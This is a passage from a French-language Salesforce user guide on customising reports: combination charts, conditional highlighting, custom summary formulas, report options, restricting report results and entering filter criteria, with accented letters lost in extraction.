Affichez les valeurs, les tiquettes et les pourcentage lors du survol des graphiques. Les dtails
de survol dpendent du type de graphique. Les pourcentages s'appliquent uniquement aux
graphiques secteurs, en anneau ou en entonnoir. Disponible uniquement avec Chart Analytics
2.0.

Slection conditionnelle
En rgle gnrale, cette fonction est utilise en association avec des formules rcapitulatives personnalises pour slectionner
les pourcentages levs ou faibles, les moyennes et les ratios.
Pour personnaliser la slection conditionnelle du graphique, dfinissez les proprits suivantes :
Proprit de slection
conditionnelle

Description

Totaux des rsums

Choisissez une valeur rcapitulative dont vous souhaitez reprsenter les plages de chiffres par des
couleurs.

Couleur infrieure

Slectionnez la couleur reprsentant les donnes infrieures la valeur du Point de rupture

infrieur.

Point de rupture
infrieur

Nombre correspondant au seuil entre la Couleur infrieure et la Couleur centrale.

Les valeurs identiques au Point de rupture infrieur sont affiches en tant que Couleur
centrale.

Couleur centrale

Slectionnez la couleur reprsentant les donnes comprises entre les valeurs du Point de
rupture infrieur et du Point de rupture suprieur.

Point de rupture
suprieur

Nombre correspondant au seuil entre la Couleur centrale et la Couleur suprieure.

Les valeurs identiques au Point de rupture suprieur sont affiches en tant que Couleur
suprieure.

Couleur suprieure

Slectionnez la couleur reprsentant les donnes suprieures la valeur du Point de rupture

suprieur.

Voir aussi :
Cration d'un rapport personnalis
Types de graphiques et de composants
Utilisation de graphiques de combinaison
Options supplmentaires pour la mise jour de listes de slection

Rapports

Guide de l'utilisateur | Personnalisation des rapports | 1725

Utilisation de graphiques de combinaison

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour crer des rapports personnaliss :

Crer et personnaliser des rapports

Remarque: Vous devez disposer de l'autorisation en lecture dans les enregistrements inclus vos rapports, sinon des
donnes risquent de manquer ou de ne pas s'afficher lors de leur excution.
Un graphique de combinaison trace plusieurs ensembles de donnes dans un diagramme unique. Chaque ensemble de donnes
est bas sur un champ diffrent, afin de faciliter la comparaison des donnes. Vous pouvez galement combiner certains types
de graphique afin de prsenter leurs donnes de diverses faons dans un diagramme unique.
Les graphiques de combinaison permettent d'effectuer les oprations suivantes :

Ajouter une ligne un graphique en courbes, colonnes verticales, colonnes verticales groupes ou colonnes verticales
empiles existant.
Ajouter une courbe de cumul un graphique en courbes cumules existant
Ajouter jusqu' trois colonnes un graphique colonnes verticales
Ajouter jusqu' trois barres un graphique barres horizontales

Pour utiliser des graphiques de combinaison :

1. Accdez l'tape Slectionner le type de graphique et les points forts dans l'assistant de rapport pour un rapport rcapitulatif
ou matriciel.
2. Slectionnez un type de graphique permettant de combiner les graphiques :

Barres horizontales
Colonnes verticales
Colonnes verticales, groupes
Colonnes verticales, empiles
En courbes
En courbes, cumules

3. Activez la case Graphique de combinaison pour tracer des valeurs supplmentaires dans le graphique. L'aperu du graphique
est mis jour durant la configuration de votre graphique de combinaison.
4. Dans la liste droulante Afficher comme, slectionnez une option pour ajouter une courbe, une courbe de cumul, des
colonnes ou des barres votre graphique. Les options disponibles diffrent selon le type de graphique.

Pour des colonnes ou des barres, cliquez sur Ajouter un autre ensemble afin d'ajouter jusqu' trois ensembles.
Lors de l'ajout d'une ligne un graphique colonnes verticales, slectionnez Utiliser un deuxime axe pour afficher
des axes spars sur la ligne ajoute droite du graphique colonnes. Un axe spar permet de distinguer des valeurs
qui comprennent diffrentes plages ou units.

Rapports

Guide de l'utilisateur | Personnalisation des rapports | 1726

Remarque: La slection de l'option Utiliser un deuxime axe augmente le nombre de valeurs disponibles dans
la liste droulante Valeurs. Sans cette option, vous pouvez slectionner uniquement des valeurs du mme type
que l'axe Y principal, par exemple nombre, devise ou pourcentage. Cette option est disponible pour certains
graphiques de combinaison seulement.
5. Utilisez les Valeurs de la liste droulante pour spcifier chaque valeur supplmentaire tracer dans le graphique.
6. Une fois le rapport configur, cliquez sur Excuter le rapport ou sur Enregistrer.
Exemples de graphiques de combinaison
Vous pouvez utiliser des graphiques de combinaison dans de nombreuses situations. Cette section prsente quelques exemples
seulement.
Colonne-sur-colonne
Ajouter des colonnes un graphique colonnes pour montrer des valeurs multiples sur une seule plage d'axe.
Pour crer le graphique de cet exemple, slectionnez le type de graphique colonnes verticales, dfinissez le montant
total des opportunits sur l'Axe Y, les tapes sur l'Axe X et utilisez l'option Graphique de combinaison pour ajouter
le total du chiffre d'affaires attendu dans une colonne.
Vous pouvez rapidement comparer les valeurs relles et les valeurs attendues de chaque tape.
Ligne-sur-colonne
Ajouter une ligne un graphique colonnes pour montrer ensemble deux types de graphique. L'utilisation d'un deuxime
axe permet d'ajouter diffrents types de valeurs au graphique.
Pour crer le graphique de cet exemple, slectionnez le type de graphique colonnes verticales, dfinissez le montant
total des opportunits sur l'Axe Y, l'exercice sur l'Axe X et utilisez l'option Graphique de combinaison pour ajouter le
nombre d'affaires sur une ligne. Les diffrents types de valeurs rcapitulatives sont disponibles dans la liste droulante
Valeurs uniquement si vous slectionnez Utiliser un deuxime axe.
Vous pouvez afficher le montant total et le nombre d'affaires de chaque exercice dans un seul graphique.
Ligne-sur-ligne
Ajouter une ligne un graphique en courbes pour comparer deux valeurs rcapitulatives continues.
Pour crer le graphique de cet exemple, dfinissez une formule rcapitulative personnalise qui calcule la moyenne mobile
sur trois semaines des montants d'opportunits, slectionnez le type de graphique en courbes, dfinissez le total des
opportunits sur l'Axe Y, la date sur l'Axe X et slectionnez l'option Graphique de combinaison afin d'ajouter la
moyenne mobile sur trois semaines sur une ligne.
Vous pouvez comparer les ventes au pourcentage mobile sur une priode donne.
La formule rcapitulative personnalise utilise dans cet exemple est la suivante :
(OppProductTrends__c.Amount__c:SUM+ PREVGROUPVAL(OppProductTrends__c.Amount__c:SUM,
OppProductTrends__c.as_of_date__c) + PREVGROUPVAL(OppProductTrends__c.Amount__c:SUM,
OppProductTrends__c.as_of_date__c,2))/3

Voir aussi :
Cration d'un rapport personnalis
Types de graphiques et de composants

Rapports

Guide de l'utilisateur | Personnalisation des rapports | 1727

Options personnalises des rapports

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour excuter des rapports :

Excuter des rapports

Pour planifier des rapports :

Planifier des rapports

Pour crer, modifier, enregistrer et supprimer des rapports :

Crer et personnaliser des rapports

Remarque: Vous devez disposer de l'autorisation en lecture dans les enregistrements inclus vos rapports, sinon des
donnes risquent de manquer ou de ne pas s'afficher lors de leur excution.
Les options suivantes sont disponibles lors de la personnalisation d'un rapport :
Option

Description

Filtres avancs

Spcifie des conditions de recherche avance auxquels les lments du rapport doivent
correspondre. Reportez-vous Saisie des critres de filtre la page 1736.

Colonnes ou intervalle

Liste droulante dans laquelle vous pouvez slectionner des informations temporelles sur
les enregistrements : date de cration, date de dernire mise jour et date de dernire
activit.

Personnaliser

Affiche l'assistant de rapport personnalis qui aide personnaliser le rapport.

Afficher les devises en utilisant

Dtermine le type de devise pour les sous-totaux de rapports et les montants de la colonne
convertis des champs. Disponible uniquement pour les organisations qui utilisent
plusieurs devises.

Service

Dtermine le service des enregistrements inclure dans le rapport. Slectionnez Courant

pour afficher les enregistrements de votre service actuel. Les rapports dj vrifis, tels
que les comptes Mes requtes ou Mon quipe de vente, incluent les enregistrements de
tous les services. Disponible uniquement si votre organisation utilise des services pour
segmenter les donnes et si vous disposez de l'autorisation Affect par services . Si
vous ne possdez pas cette autorisation, vos rapports incluent les enregistrements de tous
les services.

Supprimer

Supprime le rapport. Les rapports supprims sont placs dans la Corbeille.

Exporter les dtails

Exporte les dtails du rapport vers une feuille de calcul Microsoft Excel aprs vous avoir
demand des paramtres de codage de fichier.

Dure

Spcifie une priode pour le rapport. Vous pouvez limiter les donnes des dates
spcifiques l'aide d'un champ de date standard ou personnalis dfini pour le type
d'enregistrement du rapport.

Rapports

Guide de l'utilisateur | Personnalisation des rapports | 1728

Option

Description

Hirarchie

Fournit des liens qui permettent un utilisateur individuel, un rle complet ou une
organisation d'afficher les donnes du rapport. Disponible uniquement avec Professional
Edition, Enterprise Edition, Unlimited Edition et Developer Edition.

Vue imprimable

Affiche dans Microsoft Excel le rapport format pour une impression aise.

Relation avec l'opportunit

Spcifie une porte base sur la responsabilit de l'opportunit ou l'quipe de vente ;

limite les donnes dans un rapport d'opportunit.

Nom du rapport

Fournit un nom pour le rapport qui permet de toujours y accder depuis la page Rapports.

Description du rapport

Spcifie une description gnrale du rapport ; affiche le Nom du rapport dans la page
Rapports.

Dossier de rapport

Permet un administrateur de partager un rapport personnalis et de le classer dans un

dossier de rapport personnalis.

Excuter le rapport

Gnre de nouveau les donnes du rapport, y compris les modifications de paramtres.

Enregistrer

Enregistre les modifications dans l'un de vos rapports personnaliss existants.

Enregistrer sous

Enregistre sous un nouveau nom les modifications apportes aux paramtres de rapport
personnalis, standard ou public, sans altrer le rapport d'origine.

Afficher/Masquer les dtails

Bascule l'affichage pour montrer toutes les informations ou seulement un rsum.

Rcapituler les informations par Fournit des sous-totaux pour les champs que vous spcifiez.
Units

Liste droulante en haut d'un rapport de requte qui permet de slectionner l'affichage
de l'anciennet d'une requte en jours, heures ou minutes. L'anciennet d'une requte
ouverte correspond au temps coul depuis sa cration. L'anciennet d'une requte clture
correspond au temps coul entre les heures de cration et de clture.

Afficher

Spcifie les lments inclure dans le rapport : uniquement les enregistrements dont vous
tes responsable ou tous les enregistrements auxquels vous avez accs. Cette option permet
d'afficher les rapports qui comprennent les donnes de votre quipe.

Voir aussi :
Options de rapport supplmentaires
Personnalisation des rapports

Rapports

Guide de l'utilisateur | Personnalisation des rapports | 1729

laboration de formules rcapitulatives personnalises

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour crer, modifier, enregistrer et supprimer des rapports :

Crer et personnaliser des rapports

Remarque: Vous devez disposer de l'autorisation de lecture dans les enregistrements inclus vos rapports, sinon durant
leur excution des donnes risquent de manquer ou de ne pas s'afficher.
Crez des formules rcapitulatives personnalises pour calculer des totaux supplmentaires bass sur les champs numriques
disponibles dans le type de rapport. Une formule est un algorithme dont la valeur est issue d'autres champs, expressions ou
valeurs. Vous pouvez crer jusqu' cinq formules par rapport. Vous ne pouvez pas partager les formules sur plusieurs rapports.
Pour laborer des formules rcapitulatives personnalises dans la page Slectionnez les colonnes analyser de l'Assistant de
rapport pour les rcapitulatifs et les rapports matriciels :
1. Cliquez sur Nouveau dans la section Formules de rsum personnalises de la page Slectionnez les informations
rcapituler de l'assistant de gnration de rapports.
2. Entrez l'tiquette de la formule, telle qu'elle apparatra dans le rapport. L'tiquette doit tre unique.
3. Vous pouvez galement entrer une description.
4. partir de la liste droulante Format, slectionnez le type de donnes appropri votre formule en fonction du rsultat
du calcul. Reportez-vous Choix du type de donnes de la formule la page 422 pour plus d'informations sur les types de
donnes de formule.
5. Dans la liste droulante Dcimales, slectionnez le nombre de dcimales afficher pour les types de donnes devise,
nombre ou pourcentage. Ce paramtre est ignor pour les champs devise dans les entreprises multidevises. Le paramtre
Dcimales s'applique en revanche votre devise.
Remarque: Si vous slectionnez Aucun dans Dcimales, les valeurs effectives sont :

Devise : affiche jusqu' 18 chiffres, avec la prcision des dcimales par dfaut pour la
devise
Pourcentages : affiche jusqu' 3 chiffres, sans dcimales
Nombres : affiche jusqu' 18 chiffres, sans modification de la prcision des dcimales

6. Dfinissez l'option Emplacement d'affichage de cette formule. Le calcul de cette formule s'affiche au niveau
que vous slectionnez dans le rapport. Pour afficher le calcul de la formule chaque niveau, y compris dans le Rcapitulatif
gnral, slectionnez Tous les niveaux rcapitulatifs.
7. Pour laborer la formule :
a. Slectionnez l'un des champs rpertoris dans la liste droulante Slectionnez un champ. Cette valeur de champ
est utilise dans la formule.
b. Slectionnez le type de rcapitulatif utiliser dans la formule. Cette option n'est pas disponible pour le Nombre
d'enregistrements.

Rapports

Guide de l'utilisateur | Personnalisation des rapports | 1730

Type de rcapitulatif

Description

Somme

La valeur de synthse des donnes d'un champ ou d'un

groupe de champs.

Plus grande valeur

La plus grande valeur des donnes d'un champ ou d'un

groupe de champs.

Plus petite valeur

La plus petite valeur des donnes d'un champ ou d'un

groupe de champs.

Moyenne

La valeur moyenne des donnes d'un champ ou d'un groupe

de champs.

c. Cliquez sur Insrer.

d. Cliquez sur Insrer un oprateur pour ajouter des oprateurs votre formule.
e. Cliquez sur Afficher les fonctions pour ouvrir la bote de dialogue des fonctions qui permet de slectionner des fonctions
disponibles. Pour la catgorie, slectionnez Toutes les catgories de fonctions, Logiques, Mathmatiques ou
Rcapitulatives. Pour des exemples et une description dtaille des oprateurs, reportez-vous la section Oprateurs
et fonctions la page 475.
f. Rptez ces tapes si ncessaire.
8. Cliquez sur Valider la syntaxe pour vrifier qu'il n'y a pas d'erreur dans la formule. Le curseur met automatiquement en
surbrillance les erreurs de syntaxe.
9. Cliquez sur Termin.
Remarque: Lorsque vous cliquez sur Termin, vous ne sauvegardez pas la formule. En fait, cette formule est incluse
dans l'Assistant de rapport, puis sauvegarde au moment de l'enregistrement du rapport.

Conseils sur l'laboration de formules rcapitulatives personnalises

Une formule rcapitulative ne peut pas faire rfrence une autre formule rcapitulative.
Les formules rcapitulatives peuvent faire rfrence des champs nombre, devise, pourcentage et case cocher (vrai/faux)
pour les types d'enregistrement compris dans votre rapport. Par exemple, une formule rcapitulative dans un rapport
Opportunits lies aux partenaires peuvent faire rfrence l'opportunit Montant ou Dure de l'tape, ainsi qu'au
compte Chiffre d'affaires annuel.
Quel que soit le type de donnes de la formule rcapitulative, cette dernire peut contenir des champs de diffrents types
de donnes, notamment : des champs nombre, devise, pourcentage et case cocher (vrai/faux).
Lorsque les champs sont supprims, ils sont galement supprims des formules rcapitulatives dans lesquelles ils sont
rfrencs.
Les types de rsum Somme, Plus grande valeur, Plus petite valeur et Moyenne ne peuvent pas tre utiliss
avec le champ Nombre d'enregistrements.
Le type de rsum Plus petite valeur inclut des valeurs vides (nulles) ou des valeurs zro dans le calcul de la formule
rcapitulative si ces valeurs sont prsentes dans les donnes du rapport.
Le type de rsum Plus grande valeur inclut les valeurs vides (non nulles) maximales prsentes dans les donnes du
rapport.
Les pourcentages sont reprsents sous forme de nombres dcimaux dans les formules rcapitulatives. La valeur 20 % est
reprsente par le nombre dcimal 0,20.
Vous pouvez utiliser les oprateurs pour donner une valeur ngative aux champs des formules rcapitulatives. Par exemple :
{!EMPLOYEES:SUM} + - {!SALES:SUM}.

Rapports

Guide de l'utilisateur | Personnalisation des rapports | 1731

Pour les formules rcapitulatives personnalises des rapports matriciels, Salesforce.com calcule le rsultat de toutes les
formules dans lesquelles l'option Emplacement d'affichage de cette formule n'est pas dfinie Tous les
niveaux rcapitulatifs. La formule dtermine la valeur renvoye. Si la formule rencontre une erreur telle qu'une
division par zro, elle renvoie #Error!. Si une valeur nulle est renvoye, la cellule est vide.
Le message #Too Big! s'affiche dans les cellules de rapport si le rsultat de votre formule rcapitulative personnalise
comporte plus de 21 chiffres. Dans ce cas, vrifiez que votre formule ne contient aucun calcul qui pourrait donner un rsultat
de plus de 18 chiffres. vitez de multiplier de grands nombres, d'lever un grand nombre une puissance ou d'effectuer
des divisions par un trs petit nombre.
Les formules traitent les cellules de rapport vides (nulles) comme des valeurs zro.
Le message #Error! s'affiche sur les cellules de rapport chaque fois qu'une erreur se produit lorsque vous calculez
une valeur de formule. Le message #Error! s'affiche galement lorsque vous divisez un nombre par zro dans les
formules. Pour rsoudre l'erreur, vrifiez votre formule et proposez une autre valeur.
Les fonctions dsignes tre utilises avec des formules rcapitulatives personnalises sont disponibles sous la catgorie
Fonction rcapitulative. Cliquez sur Afficher les fonctions dans le Gnrateur de formules, puis sur Aide sur cette fonction
pour plus d'informations.

Voir aussi :
propos des formules
Oprateurs et fonctions

Options de rapport supplmentaires

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour excuter des rapports :

Excution des rapports

Pour planifier des rapports :

Rapports de planification

Pour crer, modifier, enregistrer et supprimer des rapports :

Crer et personnaliser des rapports

Remarque: Vous devez disposer de l'autorisation de lecture des enregistrements inclus vos rapports, sinon lors de leur
excution, des donnes risquent de manquer ou de ne pas s'afficher.
Une fois le rapport excut, vous pouvez :

Personnalisez davantage le diagramme l'aide des liens situs au-dessus. Cliquer sur Grand, Moyen ou Petit pour changer
la taille du diagramme affich. Cliquez sur Modifier pour revenir la page des options du diagramme.
Cliquez sur un en-tte de colonne dans un en-tte de rapport flottant pour actualiser le rapport et revenir au dbut de ses
rsultats.
Marquez le rapport.
Enregistrez le rapport.
Imprimez le rapport ou exporter ses donnes vers Excel.

Rapports

Guide de l'utilisateur | Limitation des rsultats d'un rapport | 1732

Associer les contacts et/ou les pistes une campagne. Lorsqu'un rapport renvoie une liste de contacts et/ou de pistes, cliquez
sur Ajouter la campagne pour les associer une campagne existante. Le bouton s'affiche uniquement si vous disposez
des autorisations requises de gestion des membres de campagne.
Affichez un rcapitulatif des critres de filtrage directement sous l'en-tte Rapport gnr. Cliquez sur Modifier au-dessus
du rcapitulatif pour modifier les critres du filtre. Cliquez sur Effacer en regard de ce rcapitulatif pour excuter nouveau
le rapport sans les critres de filtre.
Prenez connaissance de dtails supplmentaires sur une ou plusieurs lignes dans vos rcapitulatifs ou rapports matriciels.
la fin des dtails du rapport, slectionnez les lignes dvelopper, choisissez le champ sur lequel doit porter l'analyse, puis
cliquez sur Navigation descendante pour vous concentrer sur les lignes slectionnes. Par exemple, si vous avez cr un
rapport d'opportunit qui affiche les affaires par secteur d'activit, vous pouvez slectionner les secteurs qui tournent bien
et choisir l'option Nom de produit pour rechercher les produits en vente dans ce secteur.
Conseil: Si votre organisation a renomm les onglets, votre administrateur peut renommer les rapports personnaliss
contenant le nom de l'onglet d'origine.

Voir aussi :
Personnalisation des rapports
Calcul du sous-total des rsultats de rapport
Rapport sur votre quipe
Gestion des dossiers
Gnration de rapports sur les sites Force.com
Fiche de conseils : Astuces et conseils pour les rapports personnaliss
Fiche de conseils : Optimisation de la performance des rapports

Limitation des rsultats d'un rapport

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour limiter les rsultats de rapport :

Crer et personnaliser des rapports

Remarque: Vous devez disposer de l'autorisation en lecture dans les enregistrements inclus vos rapports, sinon des
donnes risquent de manquer ou de ne pas s'afficher lors de leur excution.
Vous pouvez limiter les rsultats de votre rapport en procdant comme suit :

Pour rduire la vue d'un rapport et afficher uniquement les en-ttes, les sous-totaux et le total, activez la case Masquer
les dtails du rapport l'tape Critres de slection de l'assistant de rapport personnalis.
Les utilisateurs disposant de l'autorisation Excuter les rapports peuvent rduire la vue d'un rapport en cliquant sur le
bouton Masquer les dtails/Afficher les dtails en bas du rapport.

Rapports

Guide de l'utilisateur | Limitation des rsultats d'un rapport | 1733

Pour liminer les rapports indsirables, utilisez les filtres avancs dans la dernire tape de l'assistant de rapport. Reportez-vous
Saisie des critres de filtre la page 1736.
Dans Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition, les liens Hirarchie permettent
de parcourir les rsultats des rapports en fonction des hirarchies de rles ou de territoires.
Si votre organisation utilise des services pour segmenter les donnes et que vous disposez de l'autorisation Affect par
service , utilisez la liste droulante Service pour inclure des rapports dans un seul service ou dans tous les services.
Slectionnez Courant pour afficher les enregistrements de votre service actuel. Les rapports qui sont dj vrifis (par
exemple, les comptes Mes requtes ou Mon quipe) incluent des enregistrements de tous les services et vous ne pouvez pas
les limiter un service spcifique. Si vous ne possdez pas cette autorisation, vos rapports incluent les enregistrements de
tous les services.
Vous pouvez limiter le nombre d'enregistrements affichs dans les rsultats de rapports prsents sous forme de tableau en
slectionnant une valeur dans la liste droulante Lignes afficher de la page Slectionnez les critres de l'assistant
de gnration de rapports. Si vous slectionnez Personnaliser dans la liste droulante Lignes afficher, vous pouvez
entrer un nombre spcifique d'enregistrements afficher dans les rsultats de rapport. Lorsque vous limitez le nombre
d'enregistrements affichs dans les rsultats de rapports prsents sous forme de tableau, vous devez slectionner un champ
et l'ordre de tri des rsultats. Une fois les rsultats du rapport limits l'aide de Lignes afficher, vous pouvez utiliser
le rapport sous forme de tableau en tant que source d'un composant du tableau de bord. Commencez par limiter le nombre
de lignes, puis, dans l'assistant de gnration de rapports, dfinissez les colonnes disponibles dans le tableau de bord.
La liste droulante Lignes afficher de la page Slectionnez les critres de l'assistant de rapports affiche uniquement
les champs de l'objet principal dans les rapports crs partir de types de rapport o un objet A peut ou non avoir un objet
B. Par exemple, dans un compte avec ou sans rapport de contacts, seuls les champs des comptes s'affichent dans la liste
droulante Lignes afficher. De plus, la liste droulante Lignes afficher n'affiche pas les champs des objets
aprs une association ventuelle sur les types de rapport personnaliss. Par exemple, dans un compte contenant des contacts
avec ou sans rapport de requte, seuls les champs des comptes et des contacts s'affichent dans la liste droulante Lignes
afficher.
Remarque: Les dcomptes d'enregistrements limits ne s'appliquent plus aux rsulats d'un rapport tabulaire si
vous slectionnez une valeur dans la liste droulante Rcapituler les informations par du rapport.

Limitation des rapports de compte

Le filtre Afficher standard des rapports de compte vous permet de limiter les donnes du compte selon les options suivantes.
Ces options peuvent varier selon l'dition et le paramtrage choisis par votre entreprise.

Mes comptes : affiche les comptes dont vous tes responsable.

Les comptes de mon quipe de comptes : affiche les comptes pour lesquels vous faites partie de l'quipe de comptes.
Mon quipe de comptes et mes comptes : affiche les comptes dont vous tes responsable et ceux pour lesquels vous faites
partie de l'quipe de comptes.
Les comptes de mon quipe : affiche vos comptes et les comptes dont sont responsables tous vos subordonns dans la
hirarchie de rles.
Mes territoires : pour les entreprises utilisant la gestion des territoires, cette option affiche les comptes appartenant aux
territoires auxquels vous tes affect.
Les comptes de mon quipe de territoires : pour les entreprises utilisant la gestion des territoires, cette option affiche les
comptes qui font partie de vos territoires et des descendants de vos territoires.

Rapports

Guide de l'utilisateur | Limitation des rsultats d'un rapport | 1734

Les comptes de mon quipe et leurs comptes : pour les utilisateurs qui vous sont hirarchiquement rattachs. Contient les
comptes dont ils sont responsables et ceux pour lesquels ils font partie de l'quipe de comptes.
Tous les comptes visibles : affiche tous les comptes que vous pouvez consulter en fonction du modle de partage en vigueur.
Territoires : pour les entreprises utilisant la gestion des territoires, le filtre supplmentaire Territoires peut tre dfini
sur Tout, Plusieurs territoires ou Territoire manquant. Cependant, le filtre Territoires sur des rsultats de rapport
excuts partir de types de rapport personnalis qui incluent des territoires n'inclut ni Plusieurs territoires ni Territoires
manquants.
Si votre entreprise utilise un portail client Salesforce.com, ajoutez le champ Compte du portail client vos rapports
de compte pour afficher les comptes dont des contacts peuvent utiliser le portail.
Lorsqu'un rapport renvoie une liste de contacts ou de comptes personnels, cliquez sur Ajouter la campagne pour les
associer une campagne existante. Le bouton n'apparat que si vous disposez des autorisations requises de gestion des
membres de campagne. Pour plus d'informations, reportez-vous Ajout de membres de campagne de rapports la page
1175.

Limitation des rapports d'activit

Les filtres standard des rapports d'activit vous permettent de limiter les rsultats du rapport l'aide des options suivantes. En
fonction de l'dition dont vous disposez, certaines de ces options ne sont pas disponibles. Ces options permettent de limiter
vos rsultats de rapport afin d'viter d'avoir traiter un nombre d'enregistrements trop important.

Mes activits : contient les activits dont vous tes responsable.

Mes activits dlgues : contient les activits que vous avez cres mais dont vous n'tes pas responsable, le responsable
occupe votre rle dans la hirarchie.
Les activits de mon quipe : contient les activits dont sont responsables des utilisateurs rattachs vous dans la hirarchie
des rles.
Toutes les activits : affiche toutes les activits que le modle de partage vous permet de visualiser.

Limitation des rapports d'opportunit

Si votre entreprise a recours la gestion des territoires, le filtre Hirarchie sur les rapports d'opportunits vous permet
d'afficher les donnes en fonction des hirarchies de rles ou de territoires. En outre, le filtre Territoires vous permet
d'afficher les opportunits de tous les territoires ou les opportunits auxquelles aucun territoire n'est associ.
Utilisez le filtre Afficher pour restreindre les rapports d'opportunit en fonction des options suivantes. Ces options peuvent
varier selon l'dition et le paramtrage choisis par votre entreprise.

Mes opportunits : n'affiche que vos opportunits.

Les opportunits de vente de mon quipe : affiche les opportunits de l'quipe de vente dont vous faites partie.
Les opportunits de mon quipe de vente et mes opportunits : affiche vos opportunits et celles de l'quipe de vente dont
vous faites partie.
Les opportunits de mon quipe : affiche vos opportunits et les opportunits dont sont responsables tous vos subordonns
dans la hirarchie de rles.
Si votre entreprise a recours la gestion des territoires, le rsultat de cette option dpend de la valeur du filtre Hirarchie
ci-dessus. Slectionner Rle affiche vos opportunits et les opportunits dont sont responsables tous vos subordonns dans
la hirarchie de rles. Si vous slectionnez Territoire, vous verrez les opportunits dont vous tes responsable et toutes
les opportunits dont les descendants de vos territoires sont responsables.

Rapports

Guide de l'utilisateur | Limitation des rsultats d'un rapport | 1735

Les opportunits de vente de mon quipe et leurs opportunits : pour les utilisateurs qui vous sont hirarchiquement
rattachs. Affiche les opportunits dont ils sont responsables et celles pour lesquelles ils font partie de l'quipe de vente.
Mes territoires : pour les entreprises utilisant la gestion des territoires, cette option affiche les opportunits appartenant
aux territoires auxquels vous tes affect.
Toutes les opportunits : affiche toutes les opportunits auxquelles vous avez accs.

Voir aussi :
Calcul du sous-total des rsultats de rapport
Tri des rsultats de rapport
Personnalisation des rapports
Prsentation de la gestion des territoires

Rapport sur votre quipe

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer un rapport sur votre quipe :

Crer et personnaliser des rapports

Remarque: Vous devez disposer de l'autorisation en lecture dans les enregistrements inclus vos rapports, sinon des
donnes risquent de manquer ou de ne pas s'afficher lors de leur excution.
Vous pouvez crer un rapport sur toutes les donnes auxquelles vous avez accs en lecture ou lecture/criture. Les donnes
disponibles varient en fonction de votre modle de partage, mais vous pouvez presque toujours crer un rapport sur les donnes
appartenant ou partages par des utilisateurs de niveau infrieur dans la hirarchie, quel que soit votre modle de partage
(certains modles de partage n'autorisent pas la cration de rapports). Salesforce.com offre deux mthodes de cration de
rapports sur les informations vous appartenant ou appartenant aux utilisateurs dont vous tes responsable :

Certains rapports disposent d'un filtre d'affichage. Slectionnez l'option Mon quipe , par exemple Opportunits
de mon quipe , pour afficher les donnes qui vous appartiennent ou appartenant aux utilisateurs d'un niveau infrieur
dans la hirarchie.
Certains rapports, tels que les rapports d'opportunit et d'activit, affichent des liens hirarchiques qui permettent de
naviguer vers divers ensembles de donnes dans la hirarchie de rles ou d'utilisateurs. Si votre organisation utilise la gestion
des territoires, dans certains rapports ces liens sont bass sur la hirarchie de territoires.

Vous pouvez en outre trier le rapport par responsable d'enregistrement ou par rle lors de la personnalisation du rapport.

Rapports

Guide de l'utilisateur | Saisie des critres de filtre | 1736

Saisie des critres de filtre

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour crer, modifier, enregistrer et supprimer des rapports :

Crer et personnaliser des rapports

Remarque: Vous devez disposer de l'autorisation de lecture dans les enregistrements inclus vos rapports, sinon durant
leur excution des donnes risquent de manquer ou de ne pas s'afficher.
Pour saisir des critres de filtrage :
1. Choisissez un champ dans la premire liste droulante.
2. Slectionnez un oprateur.
3. Dans le troisime champ, saisissez la valeur recherche.
Pour obtenir des conseils sur la saisie des valeurs de filtrage, reportez-vous Conseils relatifs la saisie des critres de
filtrage la page 1737.
4. Cliquez sur Options avances pour changer la relation AND par dfaut entre chaque filtre. Ce lien est disponible pour
les ditions Professional, Enterprise, Unlimited et Developer, dans la plupart des endroits o les filtres existent, y compris
les rapports et les vues de liste.

Entrez les conditions de filtrage avances pour spcifier le type de relation existant entre chaque ligne du
filtre. Utilisez les numros situs au dbut de chaque ligne de filtre et sparez-les par AND, OR ou NOT pour indiquer
les conditions que doit remplir un enregistrement pour tre inclus.
Utilisez l'oprateur AND pour rechercher les enregistrements qui remplissent les deux critres, l'oprateur OR pour
rechercher ceux qui en remplissent un et l'oprateur NOT, pour ceux qui n'en remplissent aucun.
Par exemple, pour rechercher les comptes californiens dots de plus de 10 millions de dollars ou qui reprsentent des
entreprises publiques, entrez trois lignes de filtre : tat est gal Californie, Revenu annuel est suprieur 10 000 000
et Responsabilit est gale Publique. Entrez ensuite 1 AND (2 OR 3) dans les conditions de filtrage
avances. Pour obtenir des conseils sur la saisie de conditions de filtrage avances, reportez-vous Utilisation des
conditions de filtrage avances la page 1740.
Dans les rapports o l'objet A peut ou non avoir un objet B, vous ne pouvez pas utiliser la condition OU pour effectuer
un filtrage sur plusieurs objets dans la page des Critres de slection de l'assistant de rapport. Par exemple, si vous entrez
le critre de filtre Le nom du compte commence par M OU le prnom du contact commence par
M, un message d'erreur s'affiche, vous informant que votre critre de filtre est incorrect. Pour plus d'informations,
reportez-vous Slection des relations d'objet qui apparaissent sur les rapports crs partir de types de rapport
personnalis la page 1763.

Entrez les critres de recherche l'aide du lien Ajouter une ligne. Cliquez sur Supprimer une ligne pour utiliser moins
de filtres. Selon l'opration effectue, ces options ne sont pas ncessairement disponibles.
Vous pouvez saisir jusqu' dix critres de recherche pour les rapports, les rgles d'attribution de comptes et les vues de
liste. En outre, vous pouvez saisir jusqu' 25 critres de recherche diffrents pour les processus d'approbation, ainsi que
pour les rgles de workflow, d'attribution, de hirarchisation et de rponse automatique.

Rapports

Guide de l'utilisateur | Saisie des critres de filtre | 1737

5. Slectionnez un filtre de langue si votre organisation utilise un systme de traduction et si vous utilisez l'oprateur commence
par ou contient. Les valeurs utilises comme termes de recherche doivent tre rdiges dans la mme langue que celle
du filtre. Pour filtrer en utilisant d'autres oprateurs, vos termes de recherche doivent tre saisis dans votre propre langue.
Remarque: L'option de langue du filtre n'est pas disponible pour les filtres de rgle, comme les rgles de workflow,
les rgles de territoire, les champs rcapitulatifs de cumul et les rgles d'attribution. Utilisez la langue par dfaut
de votre entreprise pour saisir la valeur de ces filtres.

Voir aussi :
Transfert en masse d'enregistrements
Suppression en masse de donnes
Personnalisation des rapports
Cration de vues Listes personnalises

Conseils relatifs la saisie des critres de filtrage

Disponible avec : Toutes les ditions

